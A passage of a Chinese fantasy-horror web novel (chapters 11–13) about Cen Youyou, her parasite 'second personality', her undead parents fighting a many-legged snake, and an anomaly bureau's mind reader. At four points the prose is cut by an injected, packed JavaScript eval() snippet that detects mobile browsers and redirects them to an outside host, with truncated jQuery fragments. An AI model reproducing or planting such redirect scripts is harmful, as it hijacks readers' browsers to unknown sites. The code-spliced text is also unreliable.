一股凉意系上寄生虫的心头,那是对死亡的恐惧。 “异能者,你需要我做什么?” 寄生虫忽然觉得,这个异能者不一定疯癫…… “我本来就没疯,”岑尤尤辩解道:“我只是脑子生病,可以治疗的。还有,不要叫我异能者,你可以称呼我为主人。” 寄生虫早已发现异能者可以听到自己的心声,它不敢在心里骂人,只能憋屈喊道:“主人……” 岑尤尤跳下床,叉着腰“嘎嘎嘎”大笑三声,中二病爆发。 “请叫我女王大人。” 寄生虫:“……” 它收回刚刚的话,这货还是疯的。 岑尤尤听到它骂自己,但特别大度的没有在意。她从衣柜里拿出一套旧衣服,换上之后说:“体现你价值大的时刻已经来临,不要辜负我的期望哟,小左。” 寄生虫口器蠕动,严阵以待。 它完全看不透这名异能者,她会去猎杀污染源吗? 还是要依靠异能掠夺一些人类社会的财富? 毕竟,她居住的地方实在有些糟糕…… 十分钟后,寄生虫坐在矮凳上,双腿自然分开,弯下腰,面前摆着一个圆盆。双手放在飘满泡沫的圆盆里,努力控制着契合度不高的身体。动作轻柔而小心地搓洗着床单上血迹,从不熟练的动作可以看出来,它是真没做过家务。 它以一种完全想象不到的方式得到身体的控制权,异能者主动把身体让给它的。 异能者不想做家务…… 果然是个疯子,区区家务……哼,你会为此失去身体的控制权,意识被关进躯体的牢笼里,我等着你彻底崩溃的那一刻! 那家伙不会真以为它是什么副人格吧。 它拿到身体的控制权,还能还回去。 占据身体越久,它和身体越契合,那家伙想拿都拿不回去……这样想着,寄生虫越发认真仔细,它不能搞砸任何事情让异能者提前拿回身体的控制权。 岑尤尤浑身轻飘飘的如同灵魂已脱离身躯,视觉上她也的确是居高临下的在俯视自己。这样的她感受不到身体的状态,不管是疲惫、困乏、酸痛、辛苦都不会有,反而自在又舒服,如同灵魂在舒展它的筋骨一样,一具身体多个人格真是一种奇异的状态。 即使如此,岑尤尤依旧可以明晰小左的一切想法,她不是第一次经历人格分裂,能够妥善处理好和副人格之前的关系。 副人格借住在她的身体里,理应提供劳动价值换取房租。老板难道不知道员工会在心里骂自己?只要员工有能力,好的老板就应该唾面自干。 这个小左做事是慢吞吞的,可是动作仔细,还是有培养价值的。 “乖宝,这么早就起床了?” 大门打开,僵尸新娘打扮的郝伊人走进来。她身后还跟着一个气质儒雅的高挑男人,身高超过一米八,大约三十五六岁,头发二八偏分,用啫喱水之类的定型剂梳理得油光水滑。哪怕是蚂蚁不慎爬上去,都会滑落下来。 岑尤尤说:“赶紧应声。” 小左听到脑中响起的声音,手上力道加重,床单撕开一条口子。 “啊啊啊,这条是我最喜欢的床单……” 小左没想到岑尤尤还能说话,它以为自己控制身体的时候,对方应该在沉睡。从前的经验看来对异能者并不适用,它赶紧道歉:“对不起,我不是故意的。” 岑尤尤倒也不是什么刻薄的老板,“算了。你先应声吧。” 小左站起来,从卫生间里走出去。 “妈妈……” 郝伊人点点头,把买回来的早餐放在桌上,再请站在门口的男人进来。 那人从裤兜里摸出一次性的鞋套,与小左四目相对,微微一愣。接着,他的目光向上方移动少许,说道:“岑女士,早上好。我是小区物业经理甄树,上来看一些您家被破坏的情况,好安排工程部的工作人员过来进行修缮。” 岑尤尤莫名产生一种他是在和自己说话的感觉,但没可能发生的事情无需在意。不过,他的声音有点耳熟,好像是昨天接电话的那位物业的工作人员。 小左说:“你好。” 甄经理越过它走向阳台,拿出手机拍照。 岑尤尤感觉他挺专业的样子,心念一动,便回到身体里。她在心里说:“早饭就不用你帮我吃了。” 小左:“……” 郝伊人知道她的口味,买回来的是她最喜欢的一家汤包。皮薄肉鲜,咬开汤汁迸发。最特别的是皮不失韧性,肉不失Q弹。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467372|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这时,甄经理准备告辞,路过餐厅的时候,特地对岑尤尤说:“我先走了。这幢楼最近大概只有您一家业主居住,有什么需要可以拨打物业电话。” 岑尤尤烫得张不开嘴,只比划一个OK的动作。 甄经理在门口脱下鞋套,迎面撞上一位警/官。 甄经理堵在门口问道:“您是?” 警/官亮出工作证,说道:“我来找401的岑先生做个笔录。” 甄经理说:“下次请通知一下物业,我们可以派人带您过来。” 岑尤尤觉得甄经理还怪负责任的,警/官先生走进来,得知岑峰还在睡觉。他简单向郝伊人询问昨天的遭遇,然后说:“我能到处看看吗?” 郝伊人点头。 这位警/官先生快步走进岑尤尤的房间,蹲下来查看床底,然后打开衣柜。比起做笔录,他更像是来找人的。 不等郝伊人阻止,他已经把能藏大件物品的东西找遍。然后,迅速提出告辞,和守在门口的甄经理一起下楼。 岑尤尤往嘴里塞进一个汤包,含糊不清地说道:“搞什么嘛……” …… 甄经理和警/官先生一前一后下楼,他问道:“昨晚已经闹腾一夜。您刚才又是找什么?” 警/官先生说:“确认一下还有没有留下毒蘑菇。” 知道自己的答案太过苍白无力,警/官先生快步拉开和物业经理的距离,骑着警用摩托车离开小区。他在距离小区五百米左右的公共停车场停下来,敲响一辆商务车的车门,车窗摇下来,他说:“报告,没有发现柯队的踪迹。岑家一切如常。” 车内坐着的韩序庙易香,两人对视一眼,韩序说:“任务结束,让突击队解散吧。” 车窗重新摇起来。 韩序若有所思道:“柯队进小区之后,岑尤尤卧室的灯亮过一会儿……” 轻佻的声音在驾驶座响起:“那也不能证明什么。现在老柯是失踪了,岑家从晚上到白天风平浪静,像是完全没有发现老柯来过一样。要不,你直接询问岑尤尤?” “不行,她没办法沟通。至少我做不到。” “你不行,那就只能找行的人。” 庙易香轻笑一声说:“总部招募到一位读心者。这件事你知道吗?” 韩序问:“你难道……” “我已经向总部求援,并得到确切的回复。读心者明天就能到达海市。” 庙易香略显激动地说:“我观察岑尤尤四年,总是不停地根据她的行为模拟她的内心世界,却往往得到矛盾的结果。终于,能直接看到她的内心了……” 11. 店铺 郝伊人打开鞋柜,拿出一双高跟鞋,僵硬的脖子咔咔作响,她偏头把手机夹在耳朵和肩膀中间,说道:“维修工人还有十分钟到……好的好的……那麻烦甄经理替我盯着了。” 电话挂断,她穿好高跟鞋走到厨房,用脚尖轻踢冰箱。 “尤尤不在家里,出来罢。” 冰箱的门从里面推开,露出蜷缩在狭小空间里面的岑峰。他的身上已经凝结冰霜,血肉却没有被冻硬。他从里面挪出来,面部肌肉僵硬,无法做出表情。唯有尚能转动的眼珠子左晃右晃,表达出疑惑之情。 尤尤去哪里了? 外面很危险,你怎么能让她独自出门? 两人是有一些默契的,郝伊人说:“她在隔壁,清理老王的遗物。” 这件事本来不用邻居办,可隔壁的王三辉无儿无女,没有娶妻,父母早已离世。亦无兄弟姐妹,和亲戚之间并无往来。平日里上门的仅有同事和学生,他是一名老师。 岑峰点点头,看着郝伊人。 郝伊人说:“叫你出来是想去店里看看。我们都不工作,又还不到拿退休金的年纪,难道坐吃山空吗?” 岑峰又点点头。 岑尤尤从隔壁回家,被通知要去店里。她对去哪里无所谓的,跟着父母一起也不能去人才招聘市场。两人态度没有太大变化,依旧不同意她出去工作。 一家四口驱车离开小区。外面下着小雨,岑尤尤把左手放在车窗玻璃上,未见小左吭声,她伸手戳弄闭上的眼睛。 细长的眼睛睁开,“干嘛?” 岑尤尤说:“带你看看真实的世界,免得你一直活在梦里。” 小左向外面看去。它的记忆力还不错,没忘记来时的路。前面一个路口会有一家五金店,再往前走五百米左右是商场,商场的外面有一个共享单车的租借点,停满黄色的单车。 随着车辆的前进,记忆中的一切一一对照,没有错漏。 到底是谁活在梦里啊? 岑尤尤既有些惊讶,又觉得理所当然,说道:“原来你人生记忆,截取的是我对海市的一部分记忆啊……” 她曾经分裂出一个副人格,这个副人格同样有完整的人生经历,但活在异世界。她生活的地方叫做巨人国,她却是巨人国里的矮人族。巨人们像是摆动玩具一样饲养着她和她的家人,用矮人们进行各种游戏。她的家人很快被折磨致死。她为报仇毁掉整个巨人国,再醒来已经和岑尤尤合为一体。 这个副人格名为“灰兔”,不是岑尤尤取的名字,而是她原本的名字。 她是一个性格很温柔的姑娘,但只要见到和巨人国国王相似的存在就会陷入癫狂,偏偏她总能在任何地点看到巨人国国王,故而她不疯癫的时候特别少。 这导致岑尤尤在大学期间成为青云市扛把子。 岑尤尤就读的大学正在青云市,市内的青云大学是国内排名前一百的院校。她高考时误填志愿,没想到走狗屎运被录取。 后来,灰兔告诉她,巨人国国王真的没有死。 为杀死巨人国国王,灰兔决定离开她。 岑尤尤心里清楚,所谓的离开,其实是消失……她不知道自己分裂出灰兔的原因是什么,也难以确定灰兔消散的契机又是什么。不过,她没有阻拦。 灰兔临走时告诉她:如果想念我,就看看大地。 岑尤尤透过泛起薄雾的窗户,看到平整的马路,红灯亮起的路口。一只竖耳灰兔举着一把伞站在十字路口的最中间,她有一双棕色的圆眼睛,三瓣嘴巴微微张开,露出染血的门牙。洁白的连衣裙随风飘荡,黑色的小皮鞋踩中一个小水坑,溅起的脏水在白袜子上留下几个灰点。 绿灯亮起,车流穿梭。 灰兔闭上眼睛,轻柔地展开双臂,在雨中疯舞。雨水是她的伴奏,无数车辆从她身旁穿行而过。她跳跃着,来到最左边的一条车道。 一曲终,她停下来,毛茸茸的脸上荡开一个疯狂的笑容。 郝伊人踩着油门,穿过最后一秒的绿灯,车子从疯兔子身上撞过去。 岑尤尤回头去看,车轮碾过的地方空无一物。 “你在看什么?” 小左的问题让岑尤尤猛地回过神来,她回答说:“我在看一个幻想出的朋友。” 寄生虫:“……” 岑尤尤神色变得冷淡,眼神失去焦距,喃喃道:“还有一些,我希望不要看到的东西……” 寄生虫试探性问:“什么东西?” 明明周围一切正常。 岑尤尤看到,路边的花丛里有一朵花绽放出拳头大的人头。这颗头颅有鼻子有眼,如人类的脑袋进行等比例缩小,脑袋左顾右盼,似乎是在寻找什么。 街上,一个横穿马路的行人胸腔透明,根根白色肋骨保护的不是跳动的心脏,而是一颗布满黏液的茧。 一盏路灯察觉岑尤尤的视线,微微躬身向她行礼。动作优雅,风度翩翩。 特产店里钻出一个旅行团,领队是本国人,他的个头很高,穿着一件米色的马甲,露出肩部紧实的肌肉。这些肌肉线条里藏着一道道小小的伤疤,里面长着细小的肉芽。仔细看会发现肉芽的凸起像五根手指,视线摸索进疤痕的深处,则能看清一只小小的,充满褶皱的手。 每一道疤痕深处都藏着一只手,正在慢慢的长大。 岑尤尤知道,如果自己下一次还能偶遇他,大概会看到一个长着数条手臂的人类。 让人觉得不太舒服的是他的颈部一样有细细的疤痕……从此处长出来的,或许只能是脑袋了。 领队的手上拿着一面旗子,方便旅游团的团员跟随。 团员们皮肤颜色各异,相同的是他们都按照同样的频率抓挠脖颈、肩膀和腰臀几个部位。 岑尤尤看到好一个外国人类被抓挠得通红的地方绽开一条细小的裂纹,等它们痊愈之后,就会变成一条长着怪异肉芽的疤痕。 行道树上停满质地犹如水晶的鸟,与真正的鸟儿一样灵动,连翘起的尾羽都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467373|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩栩如生。它们的腹内流动着蓝、绿、黑、红、黄混合的色彩,长得都差不多。 只是每一只鸟腹中各种颜色的多寡不一。 天晴的时候,它们会在空中飞翔,偶尔落在某一个人类的肩头,骤然破碎。 灰兔告诉岑尤尤,这些鸟名为记忆麻雀。它们是被人类遗落的记忆,整日里飞在天空之中。遇到记忆的主人,则会消失。 早已被遗忘的记忆会回到主人的身体里。 记忆麻雀腹中的蓝色代表忧伤的情绪,如果某人忽然想起一件早已忘却的事情而难过一整天,可能就是和属于自己的忧伤麻雀相遇了。 岑尤尤回过神来,说道:“没什么,只是一些幻觉罢了。” 郝伊人转过头,问道:“乖宝,你在和谁说话?” 岑尤尤撩开头发,让妈妈看到挂在耳朵上的无线耳机。为了不让人发现她和另一个自己对话,她愿意使出十足的手段和力气。这些都是她用熟用惯的招式,口中道:“我在讲电话啦。妈,你小心——” 车子差点撞到停车场的栅栏,最后平稳地停下来。 岑尤尤下车,询问小左:“这个地方你来过没有?” 寄生虫眼珠子挪动,确认周围的环境是陌生的。这座城市很大,它实话实说道:“没有。” “看来你记忆的范围主要是我家附近,”岑尤尤若有所思,搓弄它的口器:“干嘛无精打采的?” “异能者,我从今早起床开始未曾停歇一刻,忙于家务活六小时零十二分。你问我为什么无精打采,我还想知道人类为什么像蚂蚁一样筑巢,然后把人生大部分时间都用来做家务。这到底有什么意义?我难得休息一会,你还让我陪你闲聊。你这么奴役我,难道不觉得自己丧尽天良吗?” 岑尤尤理直气壮:“你是我分裂出来的一个人格,你即我——我压榨我自己,多过分都不会觉得愧疚。” 寄生虫:“……” 郝伊人和岑峰拐进一条小巷里,岑尤尤张开双臂嘴里发出“噹噹噹”的声音,同小左介绍道:“这里就是我家的水果店了。” 这周围是海市的濒海海湾区域,竖向穿过一条街就是各种滨海小区,星级酒店。马路对面则是大海,站在街上能闻到咸腥的海味,不过闻惯的岑尤尤已经意识不到海味的存在。 水果店的店铺是岑峰早年购买的,买的时候海景还不是国内的稀缺资源,后来店铺周围的几条街全部被政/府打造成旅游街区,生意自然不会差。 郝伊人打开门就看到腐烂的火龙果和满地红红白白的蛆虫,囤积的水果没处理,大多数已经变质发臭。她挡住门对岑尤尤说:“乖宝,你去旁边买椰子冻吃吧。我来的时候,看见冯姐的店开着。” 冯阿姨家的椰子冻真材实料,岑尤尤每回过来都会买一份,要是放开肚皮,她一口气能吃五碗。闻言不疑有他,转身离去。 她并没有看见,墙角堆积的泡沫箱里有一条光/裸的腿露出来,悬挂在外面,正在轻轻地晃动。 12. 怪蛇 郝伊人彻底拉开水果店的门,正要走进去。 岑峰连忙伸手拉住她,指着高跟鞋,摇摇头。然后,大步走进店里,端出来一个凳子,用衣摆擦干净,然后放在门口。他做好一切才指着凳子,看向郝伊人,示意她坐下。 郝伊人拎着包坐下来,取出镜子和一支用完大半的口红。她觉得今天的粉底涂抹得有些太厚了……可是,不涂厚一些遮不住泛青的肤色。她疑心化妆之后的样子更加可怖,扭过身问岑峰:“我看起来怎么样?” 岑峰闻言停下手中的活儿,站直身体端详郝伊人。他看得很仔细,但的确没有看出郝伊人身上的任何变化,只觉得她和刚认识的时候没有任何差别。 这种回答一定会惹伊人生气…… “从认识你开始就没有听过一句漂亮话,现在更是连话都说不出来,我多余问你……岑峰,有蛇?后面,后面的泡沫箱子里有蛇……好大一条蛇。蛇蛇蛇……” 岑峰一愣,他知道郝伊人不会拿蛇同自己开玩笑。 他小时候被蛇咬过,还是一条毒蛇。故而差点丢掉小命,从此惧蛇如虎,哪怕是见到玻璃箱里的宠物蛇都会手脚发软,浑身冒冷汗。 岑峰转过头,脖子发出咔咔咔的声音。 一个足有他脚板长的蛇头从堆积的泡沫箱中钻出来,蛇鳞红黑相间,底色为黑色,红色构成一圈圈的横纹。由于黑色部分足够纯粹,以至于几乎看不到蛇眼。那接近成人大腿粗细的长条状身体扭动成波浪形,彻底钻出泡沫箱。 岑峰耳朵嗡一声响,冰箱冷冻室没让他冻住,温度接近三十五度的门市里他却是浑身的每一块肉都僵成冰坨子。 郝伊人震惊之余,吐出卡在喉咙里的话语:“蛇蛇蛇……蛇它长腿……” 正常的蛇是没有腿的,可眼前的蛇不仅有腿,还有一眼望去难以数清的腿。 这些腿长度均不到半米,有些细瘦无肉,有些白胖如藕节,但都光/裸/着,白皙、光滑、血气充盈,有着五根脚指头。 这分明是人类的腿。自然不属于成人,简直像是从孩童的身上取下来,直接嫁接到一条蛇的腹下。才能如此的鲜活,像是本属于一条蛇的器官。数条腿像是划船一样踩着脏污的地面,朝着郝伊人奔来,长蛇身体蠕动,转瞬便来到郝伊人眼前。 一切发生得太快,谁也没有想到,这条怪蛇会舍近求远,没有攻击近在咫尺的岑峰,而是先攻击郝伊人。 郝伊人身旁没有武器,提起手里的包就砸向蛇头。 她的包里放的东西很多,四角尖锐,砸中蛇身,怪蛇向后回缩少许,尾巴飞甩缠住郝伊人的一条腿,将她拖拽倒地。 郝伊人感觉不到疼痛,喉中爆发一声怒吼,眼中闪过凶光,锋利的黑色指甲刺进怪蛇腿和腹部连接之处。怪蛇吃痛,松开尾巴。 郝伊人见势正要爬起来,谁知怪蛇以一个超过蛇类极限的回旋,首尾易位,血盆大口已经近在眼前。她只能用手臂挡住自己的头,预料中的黑暗没有到来。 她抬起头,看到近在咫尺的蛇信子,还有浑身颤抖着,用一双手死死卡住怪蛇上下颌的岑峰。 触碰到自己最害怕的事物,岑峰已经死去的身体竟然出现生理性的变化,他青白发乌,长满尸斑的手臂上竟然冒出密密麻麻的红色丘疹。 这是心理上极度恐惧的外在表现。 郝伊人拿起一旁的塑料凳子塞进嘴里,趁机把岑峰拉到一边,口中道:“跑——” 那蛇用尾巴尖一勾,塑料凳摔在两人面前。蛇身游走,挡住二人去路。 岑尤尤提着椰子冻蹦蹦跳跳走过来,正好看到这一幕,舌头差点打结:“蛇蛇蛇……城里怎么会有这么大的蛇?”她疯狂摇晃左手:“你之前说你是污染源来着,我没记错吧?” 寄生虫同样看到店里的情况,它感受着空气中的精神波动,瞬间便知晓怪蛇的身份。 这是一只深度污染者,深度污染者的等级能力受污染源影响,等级也和污染源挂钩——当然,这不是绝对的。 这一只是被5级污染源感染的怪物,而异能者的父母在深度污染者里是最菜的存在,打不过它一点都不奇怪。 寄生虫经过和异能者十几个小时的相处,已经摸清对方的一部分性格。比如,异能者和你说话,绝不允许你沉默。 “我是4级污染源,我的名字是寄生虫。” 岑尤尤大步朝着店里走去,口中问道:“那你肯定常常和人类战斗吧?” 寄生虫知道自己说假话没用,实话实说:“我一般都会避免和人类战斗,异能者往往难以发现我的存在。即使被发现,我更多的还是会操控深度污染者进行战斗,再不济可以用人类做 盾牌……”一不小心,好像说得有点太多了。寄生虫连忙道:“真需要战斗的时候,我也不怕……我是有几分武力值在身上的。” 岑尤尤惊喜道:“那你一定会抓蛇吧,太好了。快快快,搞定它。” 这个结论到底是怎么推导出来的??? 寄生虫无法拒绝岑尤尤的指令,眼见怪蛇已经近在眼前,它的视角发生变化,身体的控制权已经被转移给它。 它避开迎面踢开的数条腿,本来想在地上打个滚冲进店中,但临时想起衣服弄脏需要自己洗,地上可不干净。只得甩出细长的口器,如一根刺一般扎进蛇瞳中。蛇瞳被刺破,流出绿色的脓液,口器拔出来的时候整体泛黑。 这蛇有毒。 寄生虫毫不在意,它已经来到怪蛇的身躯中段。左手变成一把长约半米的肉刀。弯弯犹如新月,刀锋厚而刃薄。 “扑哧——” 一刀下去,粗大的蛇被切成两段,伤口平整,数秒后才流出鲜血。此时,又有五刀已经砍完,三米多的蛇变成七段。 岑尤尤称赞道:“酷毙了!” 下雨街上的人并不多,但店里的动静也已迎来好奇者。 郝伊人伸手打算关上门,同时对岑峰说:“赶紧清理一下。” 话音未落,夫妻俩就看到女儿的一只手掌变成的刀消失不见,取而代之的是一张巨大的嘴,一口衔住一截蛇肉吞下去,七段蛇肉不过片刻就全部被吞掉。地上的血一点都没剩下,被舌头卷进口中。 郝伊人下意识说道:“掉在地上的东西脏,不能吃……” 寄生虫:“……” 这位女士,你关注的重点是不是哪里不对? 岑尤尤同样傻眼,“你怎么可以吃生的?万一有生肉里有寄生虫会得虫病的。” 寄生虫:“……” 理论上,虫病已经彻底被你克服了!毕竟我,寄生虫,已被逼称呼你为主人。 岑尤尤崩溃道:“还有可能消化不良,我不想拉肚子啊。救命!搞不好还会中毒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467374|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她激动之下,身体的控制权被重新拿回来。 “呸呸呸”几下,什么也没吐出来。她看向妈妈,妈妈打开一瓶矿泉水,给她冲洗左手。 看到女儿手心里的眼睛,郝伊人微微一愣,明什么了什么一般,小心翼翼伸出手指,想要触摸眼睛。不过,当她的目光触及自己黑色的指甲和青白的手指,瞬间一颤,像是被烫到一样猛地缩回手。 一只手轻拍她的肩膀,她转过头,看到站在身后的丈夫对她摇了摇头。 岑尤尤见两人都没对她搞定蛇蛇的事情说什么,赶紧溜走。要是郝伊人追问,她真不知道该怎么解释。硬生生在街上闲逛半小时,她才硬着头皮回来。 郝伊人坐在门口,对她招手。 岑尤尤只能走过去,坐在郝伊人的旁边。 郝伊人看着街上对面屋檐上不断滑落的水滴,开口道:“你工作找得怎么样了?如果一时找不到合适的工作,妈妈可以托人帮你问一问。” 岑尤尤一愣,接着眼睛慢慢瞪大。她惊喜道:“妈,你同意我出去上班啦?” “躲在家里,危险会闯进门。你又比我们厉害……你长大了,尤尤。我和你爸既然无法保护你,守着你没有任何意义,不如让你去做自己想做的事情。” 岑尤尤看向店里忙碌的爸爸,郝伊人说:“这是我和你爸商量之后,一起做的决定。” 岑尤尤连忙说:“您二位真开明嘿嘿。” 店里,挑拣着水果的岑峰转过头来,惨白的脸上荡开一个微小的僵硬笑容。岑尤尤看看爸爸,又看看妈妈,她小声说:“你俩之前为什么闹离婚?” 郝伊人说:“感情破裂。” 岑尤尤从小时候开始就觉得父母根本不是一个世界的人,她忍不住嘀咕一句:“你俩之间存在感情吗?” 郝伊人怒道:“他敢对我没感情?” 岑尤尤连忙劝:“我是说你,你对我爸没感情。” 郝伊人不搭理她了。 岑尤尤更加好奇,她问:“你为什么嫁给我爸?” 郝伊人的回答很感性,“当然是因为爱情。” 岑尤尤说:“你现在后悔了。” “没有,”郝伊人说:“他婚前的誓言都一一做到,这么些年以来,他由父母的孩子变成一个丈夫、我爸妈的女婿,后来又变成一个爸爸。我始终都是我,没有他的爱情我哪来如今的潇洒,再提后悔显得我没良心。” 岑尤尤忽然发现,她想象中的父母关系是不真实的。她好像是两人的爱情结晶哎!不过,这一对夫妻间的亲密关系又是她根本无法插/入的,她更觉得奇怪:“你俩到底是为什么事感情破裂的?” 郝伊人脱口而出:“有女人追求他。” 说完想起这话不该同女儿讲。 岑尤尤已经连声追问:“这还得了!我爸什么态度。我爸的人品我还是相信的,他绝不会出轨。” 郝伊人只得继续说下去:“他还算安分,直接拒绝了。” “那不是没事吗?” 郝伊人怒道 :“让女人喜欢上他,难道不是他的问题吗?” 岑尤尤:“……” 寄生虫:这两位不愧是母女,一样的不讲道理。 这时,岑尤尤的手机响起来,她打开手机一看:求职APP发来一条面试通知,时间是明天上午九点。 13. 读心 海市异常管理局。庙易香站在门口,低垂着眼眸。她看到一双穿着明黄色运动鞋的脚从车里跨出来,目光缓慢而克制地向上移动,先看到粉色的牛仔裤,后看到破洞的蓝色吊带上衣,最后,停留在来人小巧的鼻尖。 “欢迎来到海市,我是高级研究员庙易香,负责本次的行动。万小姐,里面请。” 庙易香说话的时候没有看对方的眼睛。这本是非常不礼貌的行为,但她觉得万小姐能够理解。毕竟,谁都有秘密,并不想被读心。 根据总部的资料,这位新招募到的“读心者”只要看到一个人的眼睛,就能读取对方内心的想法。 “直接叫我万澜就好。初次见面,幸会幸会。” 万澜的声音又脆又嫩,耳朵像是品尝到一勺蜜糖,一直甜到心里。 庙易香见一只肉嘟嘟的手伸出来,连忙也伸出手与其相握。 “啧,原来是要以面试的名义将观察对象Q35岑尤尤小姐骗到指定地点,然后让我读她的心。笑死,一堆心理学专家都拿她没办法吗?目的一、搞清楚前突击队队长柯高明的去向……” “你……” 庙易香猛地抬起头,和面前的女人四目相对。她看到对方的眼睛里快速闪过一抹银色的流光,涂着金色唇膏的饱满嘴唇高高翘起,一张一合道:“谢谢领导的夸奖。虽然长得可爱之类的话,我已经听得耳朵都起茧子了。喂喂喂,抨击身高就太过分了……真想不到,你光鲜靓丽的外表下竟然藏着一颗刻薄的心。一米五明明是我可爱的另一组成因素!笑死,大家的心理素质能不能强大一些,别总因为我说实话而破防啊。” 庙易香甩开和自己相握的手,却又被对方强势地重新握住。 “目的二、通过引导让岑尤尤面对世界的真相,并稳定她的情绪;三、弄清楚岑尤尤的异能是什么……这题超纲吧?笑死。按领导您的记忆,她自己都未必清楚自己的异能到底是什么成色,更别提详细区分系别。” “啧,竟然还有目的四?领导是想从内到外把人家看透啊。” 庙易香伸出另一只手,强势地抢夺回自己被抓住的右手。她的情绪波动很大,但很快重新恢复平静。 从总部借来的读心者显然是个刺头,不过,这又有什么关系呢? 异能者有几个是正常的?异能产生的先决条件就是被逼到崩溃边缘,精神世界崩塌。这决定他们的本质都是刺头,她有丰富的应对经验。 庙易香问:“除对视之外,你还可以通过肢体接触读心?” “这也算是加入异常管理局的好处之一吧。异常研究所有为我提供一些量身定做的自我提升计划,让我的异能变得更加厉害了。比起对视,肢体接触能让我直击他人的内心~笑死,没准领导不为人知的小秘密,都已经被我知晓了。” “这样啊,挺好的。那么,记得帮我保密。” 原来如此,她不仅能读出一个人此刻萦绕在脑海里的想法,还能读到过往的记忆。知道这一点,庙易香只会觉得高兴,心平气和说:“既然你已经知道计划,我不用再复述一遍了。” “那么就是没我的事了。挺好,”万澜双手插兜,朝着电梯的方向走去:“给我准备的房间在三楼对吧?陷阱是设在明天,早上八点我会准时换上道具在一楼和领导会合的。” “等等,”庙易香说:“时间还早,我带你去见一见同事。” “啧,麻烦死了。” 万澜推开一扇掩藏在大厅后侧的门,和庙易香走进一处新的电梯间。外面的电梯只会朝上走,这里的电梯是通往地下的。 透明的电梯载着两人向下,镂空的中庭部分栽满绿植,僵硬的钢铁山体耸立其中,悬挂在空中的吊环,安装在一侧墙壁上的攀爬石,还有铺在各层的泡沫垫都说明除观赏效果之外,中庭的绿化部分还承担着一部分训练作用。 身穿白色衬衣和黑色西裤的工作人员三三两两在各楼层间穿行,万澜视线游移,目光不断和看过来的视线碰撞。 由于异能的特殊性,她已经练就没有攻击性的眼神,抓住任何一个陌生人的视线,都会露出友善的甜蜜笑容。 电梯下降到13层,玻璃门打开。这一层的底色是纯白,万澜看到通道两侧的房门外贴着各种标识,庙易香推开一号会议室的门。 万澜从她打开的手臂下方钻进会议室里,里面的空间不大。围着会议桌坐着一位身穿西装的青年和一名五十多岁的男人,男人留着寸头,面前摆着一把冲锋木仓。 万澜露齿一笑,对着青年挥挥手说:“韩队长,你好。笑死,你一头白毛还挺帅的呢。竟然是异能激发的副作用,我怎么没有如此加分的副作用,连染发都省了。” 五十多岁的男人开口说:“这个姐姐外表看起来又甜又辣,一开口就只剩下辣了。” 万澜被一个年纪几乎可以当她爸爸的男人称为姐姐,一点都不生气。 她对上男人的眼睛就已经知道男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467375|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人名叫廖远,能力为“无限子弹”。哪怕手里拿着一把空的玩具水木仓,他也能一直滋出水,不需要补充子弹。 身为异能者,有一点精神问题很正常。 廖远有认知障碍,他以为自己是一名七岁的小男孩,被一个七岁小男孩叫姐姐而不是阿姨,细说起来,万澜觉得自己是赚到的一方,小朋友嘴还挺甜的。 “小朋友真乖。” 万澜从包里摸出一根棒棒糖,递给廖远:“送给你见面礼。草莓味,猛男的最爱。” 她拉开椅子坐下来,冲着韩序摊开手:“队长,散根烟呗。” 韩序打开烟盒,递给她一支女士香烟。 万澜接过来,叼在嘴里没点燃,偏头左顾右盼:“贵地儿能力为‘隐形’的副队长应该在这间会议室吧。笑死,贵局里的风气真特别。这一路走来,工作人员但凡想起来异能队副队长苏飞鸣,都会冒出同一个念头——苏副队的翘臀上有一朵玫瑰花,它到底是在左边还是右边?” 韩序:“……” 庙易香:“苏副队请假了……” 万澜:“笑死,理由是‘社会性死亡’吗?” 廖远:“噗……” …… 岑尤尤一大早从床上爬起来,换上晚饭后特地去夜市上挑选的一套职业装。 上衣包裙加上鞋子,原价999,买卖双方经过一番博弈,最后以99的价格成交。 “上班是一件很值得高兴的事情吗?” 寄生虫见岑尤尤梳头时念念有词,嘴里背诵着“面试模拟100问”。 